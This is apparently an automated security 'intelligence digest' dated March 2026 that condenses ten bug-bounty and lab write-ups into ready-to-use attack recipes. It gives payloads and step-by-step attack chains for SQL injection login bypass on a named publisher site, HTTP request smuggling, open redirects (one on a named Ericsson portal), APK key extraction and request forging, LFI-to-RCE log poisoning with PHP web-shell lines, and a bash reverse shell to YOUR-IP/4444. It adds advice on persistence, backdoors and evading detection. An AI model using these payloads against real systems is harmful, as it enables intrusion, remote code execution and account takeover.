ETX Signal-X

Daily Intelligence Digest

Sunday, March 8, 2026

10
ARTICLES

14
TECHNIQUES

Article 1

How I hacked RD Sharma’s Publisher Website?

Source: securitycipher

Date: 03-Oct-2024

URL: https://abhayvis.medium.com/how-i-hacked-rd-sharmas-publisher-website-7a76b3cb12ae

T1 Basic Authentication Bypass via SQL Injection on Admin Panel

💉 Payload

```
username: ' or 1=1 --
password: [any]
```

⚔️ Attack Chain

1. Navigate to the admin panel login page of the RD Sharma publisher website.
2. In the username field, input `' or 1=1 --` (single quote, space, or, space, one, equals, one, space, double dash).
3. Enter any value in the password field.
4. Submit the login form.
5. Gain unauthorized access to the admin panel with full management capabilities over orders and inventory.

🔍 Discovery

Noticed the website was built with PHP and MySQL, which are frequently susceptible to SQL injection. Targeted the admin login form as a high-value entry point and tested with a classic tautology payload.

🔓 Bypass

The payload `' or 1=1 --` bypasses authentication by terminating the SQL query and injecting a condition that always evaluates to true, effectively skipping credential checks.

🔗 Chain With

Post-auth compromise: Once inside the admin panel, attacker can escalate to further attacks such as data exfiltration, privilege escalation, or supply chain attacks (e.g., modifying inventory, injecting malicious content, or pivoting to underlying infrastructure). Potential for further SQLi exploitation if other parameters are injectable.

Article 2

Business logic vulnerability : Permanent Comments lock

Source: securitycipher

Date: 18-Oct-2024

URL: https://sayedv2.medium.com/business-logic-vulnerability-permanent-comments-lock-f118087967ba

T1 Permanent Comment Section Lock via Malformed "reactions" Parameter

💉 Payload

```
POST /api/comments/react HTTP/1.1
Host: target-app.com
Content-Type: application/json
Authorization: Bearer <valid_token>

{
  "comment_id": "<target_comment_id>",
  "reactions": "RANDOM_INVALID_VALUE"
}
```

⚔️ Attack Chain

1. Authenticate as any valid team member with access to the board/item comment section.
2. Intercept the request when reacting to a comment ("react" feature).
3. Modify the "reactions" parameter to a random or invalid value (e.g., a string or value not expected by the backend logic).
4. Forward the manipulated request to the server.
5. Refresh the page: the comment section for the targeted item becomes permanently locked for all users.

🔍 Discovery

Researcher noticed the presence of a "reactions" parameter in the comment reaction endpoint. Curiosity about input validation led to fuzzing with unexpected values, resulting in a persistent denial of access to the comment section.

🔓 Bypass

No authentication or role restrictions on the ability to send malformed "reactions" values; any member can trigger the lock regardless of intended permissions.

🔗 Chain With

Can be chained with privilege escalation or lateral movement: a low-privilege user can permanently disrupt communication for high-value boards/items. May facilitate DoS or business process disruption if combined with automated scripts to mass-lock comment sections across the platform.

Article 3

24.2 Lab: HTTP request smuggling, confirming a TE.CL

Source: securitycipher

Date: 28-Apr-2024

URL: https://cyberw1ng.medium.com/24-2-lab-http-request-smuggling-confirming-a-te-cl-1917e523470e

T1 TE.CL HTTP Request Smuggling via Differential 404 Response

💉 Payload

```
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=10
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
```

⚔️ Attack Chain

1. In Burp Suite Repeater, ensure the "Update Content-Length" option is unchecked to prevent automatic header correction.
2. Send the above payload as a single HTTP/1.1 request to the front-end server.
3. The smuggled request ("POST /404 HTTP/1.1 ...") is interpreted by the back-end server as a separate request due to the TE.CL desync.
4. Issue the same payload twice; on the second request, a subsequent request for "/" will trigger a 404 Not Found response, confirming the smuggling.

🔍 Discovery

Lab scenario revealed a front-end/back-end split with the back-end not supporting chunked encoding. The researcher targeted TE.CL desync by crafting a request with both Transfer-Encoding: chunked and Content-Length headers, and observed differential responses (404) to confirm successful smuggling.

🔓 Bypass

Manual control of Content-Length and Transfer-Encoding headers is required. The attack works only if the proxy passes both headers and does not normalize them. The payload exploits the mismatch in how the front-end and back-end parse the request body, allowing a crafted second request to be smuggled.

🔗 Chain With

Can be chained with session fixation, cache poisoning, or privilege escalation if the smuggled request targets sensitive endpoints (e.g., /admin, /api, /logout). Can be used as a primitive for WAF bypass or to set up further desync attacks if the application exposes additional endpoints or headers.

Article 4

How I Discovered an Open Redirect Using X-Forwarded-Host – A Bug Bounty Story with Real-World...

Source: securitycipher

Date: 13-Jul-2025

URL: https://levi4.medium.com/how-i-discovered-an-open-redirect-using-x-forwarded-host-a-bug-bounty-story-with-real-world-792d66eaffff

T1 Open Redirect via X-Forwarded-Host Header Manipulation on /logout

💉 Payload

```
GET /logout HTTP/1.1
Host: sub.target.com
X-Forwarded-Host: attacker.com
```

⚔️ Attack Chain

1. Identify a 404 subdomain (e.g., sub.target.com) on the target and enumerate directories for endpoints returning 302 or 200 (e.g., /logout).
2. Send a request to the /logout endpoint with a crafted `X-Forwarded-Host` header set to an attacker-controlled domain (e.g., attacker.com).
3. Observe that the server issues a redirect, using the value of `X-Forwarded-Host` as the host in the Location header, causing the user to be redirected to attacker.com.
4. Confirm the redirect by monitoring for an HTTP request to the attacker-controlled domain (e.g., via Burp Collaborator).

🔍 Discovery

Manual directory brute-forcing on a 404 subdomain using ffuf to find endpoints with interesting status codes (302, 200). Noticed redirect behavior on /logout and tested header-based manipulation.

🔓 Bypass

The application trusts the `X-Forwarded-Host` header for constructing redirect URLs, allowing host header injection and bypassing origin checks or hardcoded domain validation.

🔗 Chain With

Can be chained with phishing attacks to steal credentials or session tokens by redirecting users to attacker-controlled domains. Possible use as a pivot for further SSRF or credential theft if the redirect is used in OAuth flows or sensitive actions.

Article 5

Finding Secret Key Inside React Native Apps

Source: securitycipher

Date: 18-Jan-2024

URL: https://aminudin.medium.com/finding-secret-key-inside-react-native-apps-9eb6beac02f8

T1 Extracting Hardcoded Encryption Logic and Keys from React Native index.android.bundle

💉 Payload

```
var i = yield w.getGeneratedCode('8e76234fe8a4050169c97c2b206105914e244d5039d4f3514a0271e5619b188c')
a = yield w.encrypt(i, {
    accountId: t,
    password: e
});
```

⚔️ Attack Chain

1. Download the target APK and decompile it using apktool (`apktool d namaapps.apk`).
2. Open the decompiled folder and locate `index.android.bundle`.
3. Search for the keyword `verificationCode` to find the encryption logic.
4. Identify the use of `AES.encrypt` (from `crypto-js` module) and how the encryption key is derived via `getGeneratedCode()`.
5. Extract the static hex string used as input to `getGeneratedCode`.
6. Analyze or instrument the bundle to dump the actual runtime encryption key (e.g., by inserting an alert or logging statement after key generation).
7. Rebuild and resign the APK, install, and trigger the relevant flow to capture the key.

🔍 Discovery

Initial interest was triggered by observing encrypted payloads in the API traffic (specifically, the `verificationCode` field). The researcher decompiled the APK and searched for the relevant logic in the JavaScript bundle, focusing on the encryption function and key derivation.

🔓 Bypass

If the bundle is not compiled to Hermes bytecode (HBC), it is readable after deminification. If HBC is used, decompile with `hermes-dec`.

🔗 Chain With

Once the static key and encryption logic are extracted, this enables offline forging of valid `verificationCode` payloads, allowing arbitrary account creation or manipulation by crafting valid encrypted fields for API requests.

T2 Runtime Key Extraction via APK Instrumentation

💉 Payload

```
// Insert after key generation in index.android.bundle
alert(i); // or console.log(i)
```

⚔️ Attack Chain

1. After identifying the key generation logic in `index.android.bundle`, insert a statement to leak the generated key (e.g., `alert(i)` or `console.log(i)`).
2. Rebuild the APK with apktool (`apktool b -o namaapk.unsign.apk foldernamaapk`).
3. Sign the APK with uber-apk-signer.
4. Install the modified APK on a device/emulator.
5. Trigger the relevant app flow (e.g., account creation) to execute the key leak and capture the actual encryption key.

🔍 Discovery

The researcher could not directly reverse the key derivation logic, so they opted to leak the key at runtime by modifying the bundle and observing the output during app execution.

🔓 Bypass

This bypasses obfuscated or complex key derivation by extracting the runtime value, regardless of how it is computed.

🔗 Chain With

With the extracted key, the attacker can now craft valid encrypted payloads for API endpoints, bypassing client-side integrity checks and enabling further attacks (e.g., account takeover, mass registration, or privilege escalation).

T3 Offline Forging of Encrypted API Payloads with Extracted Key

💉 Payload

```
POST /api/register HTTP/1.1
Host: target.app
Content-Type: application/json

{
  "accountId": "attacker_id",
  "password": "attacker_pw",
  "verificationCode": "<AES_encrypted_payload_with_extracted_key>"
}
```

⚔️ Attack Chain

1. Use the extracted encryption key and the known payload structure.
2. Replicate the encryption logic (e.g., with `crypto-js` AES.encrypt) to generate a valid `verificationCode` for arbitrary `accountId` and `password` values.
3. Submit crafted registration or other sensitive API requests via Burp Suite or curl, bypassing client-side controls.

🔍 Discovery

After extracting the key and logic, the researcher verified the ability to forge valid payloads by testing API requests with custom values and observing successful responses.

🔓 Bypass

By replicating the exact client-side encryption, the server accepts forged payloads as legitimate, bypassing any integrity checks relying on the secrecy of the key or algorithm.

🔗 Chain With

This enables full account lifecycle manipulation, including mass registration, account takeover, or privilege escalation, depending on the API's trust in the encrypted payload.

Article 6

Full Guide: From LFI to RCE via /var/log/apache2/error.log

Source: securitycipher

Date: 04-Aug-2025

URL: https://medium.com/@zoningxtr/full-exploitation-guide-from-lfi-to-rce-via-var-log-apache2-error-log-0f364049b107

T1 LFI to RCE via Apache Error Log Poisoning (User-Agent Injection)

💉 Payload

```
curl -A '<?php system($_GET["cmd"]); ?>' "http://target.site/thispagedoesnotexist"
```

⚔️ Attack Chain

1. Confirm LFI by including a sensitive file (e.g., `/etc/passwd`) via the vulnerable parameter:
2. Confirm access to Apache error log via LFI:
3. Send a request with a malicious User-Agent header containing PHP code to a non-existent page to trigger a 404 and log your payload:
4. Use LFI to include the poisoned error log:
5. Observe command execution in the response (e.g., output of `id`).

🔍 Discovery

Noticed that the application included files based on user input and that Apache error logs record HTTP headers verbatim. Tested LFI for log file access and confirmed log poisoning was possible.

🔓 Bypass

If `/var/log/apache2/error.log` is not present, try alternate log paths such as `/var/log/httpd/error_log`.

🔗 Chain With

Replace `system` with other PHP functions for more complex payloads. Use in combination with privilege escalation if web server runs as a privileged user.

T2 LFI to RCE via Apache Error Log Poisoning (Cookie Injection)

💉 Payload

```
curl -H "Cookie: PHPSESSID=<?php system(\$_GET['cmd']); ?>" "http://target.site/badpage"
```

⚔️ Attack Chain

1. Confirm LFI and log file access as in Technique 1.
2. Send a request to a non-existent or error-generating page with a malicious Cookie header:
3. Use LFI to include the error log and trigger the payload:
4. Observe command execution in the response.

🔍 Discovery

Tested multiple HTTP headers to see which are logged verbatim in Apache error logs. Cookie header was found to be recorded.

🔓 Bypass

If the default session cookie is not logged, try custom cookie names or other headers.

🔗 Chain With

Use for persistent backdoor if log rotation is slow. Combine with log rotation attacks to evade detection.

T3 LFI to RCE via Apache Error Log Poisoning (Referer Header Injection)

💉 Payload

```
curl -e "<?php system($_GET['cmd']); ?>" "http://target.site/badpath"
```

⚔️ Attack Chain

1. Confirm LFI and log file access as in Technique 1.
2. Send a request with a malicious Referer header to a non-existent or error-generating page:
3. Use LFI to include the error log and trigger the payload:
4. Observe command execution in the response.

🔍 Discovery

Enumerated all headers that Apache logs in error situations. Referer header was found to be effective for code injection.

🔓 Bypass

If Referer is sanitized or not logged, try User-Agent or Cookie as fallback vectors.

🔗 Chain With

Can be used for multi-stage payloads if combined with time-based triggers in logs.

T4 Reverse Shell via Poisoned Apache Error Log

💉 Payload

```
curl "http://target.site/index.php?page=../../../../var/log/apache2/error.log&cmd=bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
```

⚔️ Attack Chain

1. Poison the Apache error log with a PHP payload as in Techniques 1–3.
2. Start a netcat listener on your machine:
3. Trigger the reverse shell by including the log file and passing a bash reverse shell command via the `cmd` parameter:
4. Catch the shell on your listener.

🔍 Discovery

After verifying code execution via log poisoning, attempted standard bash reverse shell payload via the `cmd` parameter.

🔓 Bypass

If outbound connections are blocked, try different reverse shell payloads (e.g., Perl, Python, or alternative ports).

🔗 Chain With

Use for privilege escalation if the web server user has sudo rights. Combine with cron job injection or persistence mechanisms.

Article 7

Hall of Fame: Open Redirect Vulnerability in Ericsson Job Portal

Source: securitycipher

Date: 30-Jul-2025

URL: https://spidergk.medium.com/hall-of-fame-open-redirect-vulnerability-in-ericsson-job-portal-7f9a2e77bd77

T1 Open Redirect via `n` Parameter in Ericsson Job Portal

💉 Payload

```
GET /r?ns=pcsx_app&evt=click_apply_to_job&pid=563121765966310&domain=ericsson.com&n=https%3A%2F%2Fevil.com HTTP/1.1
Host: jobs.ericsson.com
[...other headers as required...]
```

⚔️ Attack Chain

1. Navigate to a legitimate job posting, e.g.,
2. Click the "Apply" button, which triggers a redirect via the `/r` endpoint and the `n` parameter.
3. Intercept the redirect request with a proxy (e.g., Burp Suite).
4. Modify the `n` parameter value to a malicious external URL, e.g., `n=https%3A%2F%2Fevil.com`.
5. Forward the request; the user is redirected to the attacker-controlled site (`https://evil.com`) without validation.

🔍 Discovery

Manual inspection of the job application flow and redirection logic. The researcher noticed the `n` parameter in redirect URLs and hypothesized it might be unsafely reflected. Testing with an external domain confirmed open redirection.

🔓 Bypass

No validation or whitelisting on the `n` parameter; any external URL is accepted and used for redirection.

🔗 Chain With

Can be chained with phishing campaigns to increase trust and click-through rates by leveraging the Ericsson domain. Potential for session fixation or credential theft if combined with other weaknesses (e.g., login flows, SSO, or token leakage via redirect).

Article 8

$35,000 por este fallo en GitLab — Análisis completo y lecciones reales

Source: securitycipher

Date: 10-Oct-2025

URL: https://gorkaaa.medium.com/35-000-por-este-fallo-en-gitlab-an%C3%A1lisis-completo-y-lecciones-reales-601d5cc6a593

⚠️ No actionable techniques found

Article 9

SQL Injection Vulnerability in WHERE Clause Allowing Retrieval of Hidden Data

Source: securitycipher

Date: 21-Apr-2024

URL: https://medium.com/@marduk.i.am/sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data-96beb7f99d0c

T1 Boolean-Based SQL Injection in Category Filter to Disclose Hidden Data

💉 Payload

```
GET /filter?category=Gifts'+OR+1=1-- HTTP/1.1
Host: <Your_Unique_Subdomain>.web-security-academy.net
[Other headers as required]
```

⚔️ Attack Chain

1. Access the target endpoint `/filter?category=Gifts` on the shopping site.
2. Intercept the request in Burp Suite Repeater or modify the URL directly in the browser.
3. Append the payload `'+OR+1=1--` to the `category` parameter value, resulting in `category=Gifts'+OR+1=1--`.
4. Send the modified request to the server.
5. The SQL query becomes: `SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1`, which always evaluates to true for all products.
6. The response leaks all products, including those not intended for display (e.g., unreleased/hidden products).

🔍 Discovery

The researcher noticed the category filter was reflected in the URL as a GET parameter and suspected it was used directly in a SQL WHERE clause. The presence of single quotes in the query construction and lack of search forms led to testing the parameter for injection via URL manipulation.

🔓 Bypass

The payload closes the string context with a single quote, injects a tautology (`OR 1=1`), and comments out the rest of the query with `--`, bypassing any restrictions on the intended category filter.

🔗 Chain With

If the response includes additional product metadata, this can be chained into horizontal privilege escalation (e.g., accessing unreleased or admin-only products). If the application reflects other parameters into SQL queries, similar payloads can be tested for further data extraction or stacked queries if supported.

Article 10

Logged Out But Still In: How I Exploited a JWT Flaw to Bypass Authentication

Source: securitycipher

Date: 27-May-2025

URL: https://medium.com/@kailasv678/logged-out-but-still-in-how-i-exploited-a-jwt-flaw-to-bypass-authentication-5e062396923f

T1 JWT Replay for Post-Logout Session Reuse

💉 Payload

```
GET /dashboard HTTP/1.1
Host: target-app.com
Authorization: Bearer <captured_jwt_token>
Cookie: [if required by app]
```

⚔️ Attack Chain

1. Log in to the target application and capture the JWT from an authenticated request (e.g., via Burp Suite).
2. Log out of the application through the standard UI/logout endpoint.
3. Wait for the logout process to complete (token cleared from client/browser).
4. Manually resend a request to an authenticated endpoint (e.g., /dashboard) using the previously captured JWT in the Authorization header.
5. Observe that access is still granted, indicating the JWT is still valid and accepted post-logout.

🔍 Discovery

Manual session handling review: After noticing JWTs were used for authentication, the researcher captured a token, logged out, and tested for post-logout token validity by replaying the token. The flaw was discovered when the stale JWT still granted access.

🔓 Bypass

The application implements stateless JWT authentication with no server-side session tracking or revocation. Logging out only removes the token client-side; replaying a previously valid JWT allows full session re-entry until token expiry.

🔗 Chain With

Combine with XSS or token theft vectors to escalate from token disclosure to persistent account access, even after user-initiated logout. Use in conjunction with privilege escalation or horizontal IDOR to maintain access across multiple accounts if tokens are harvested.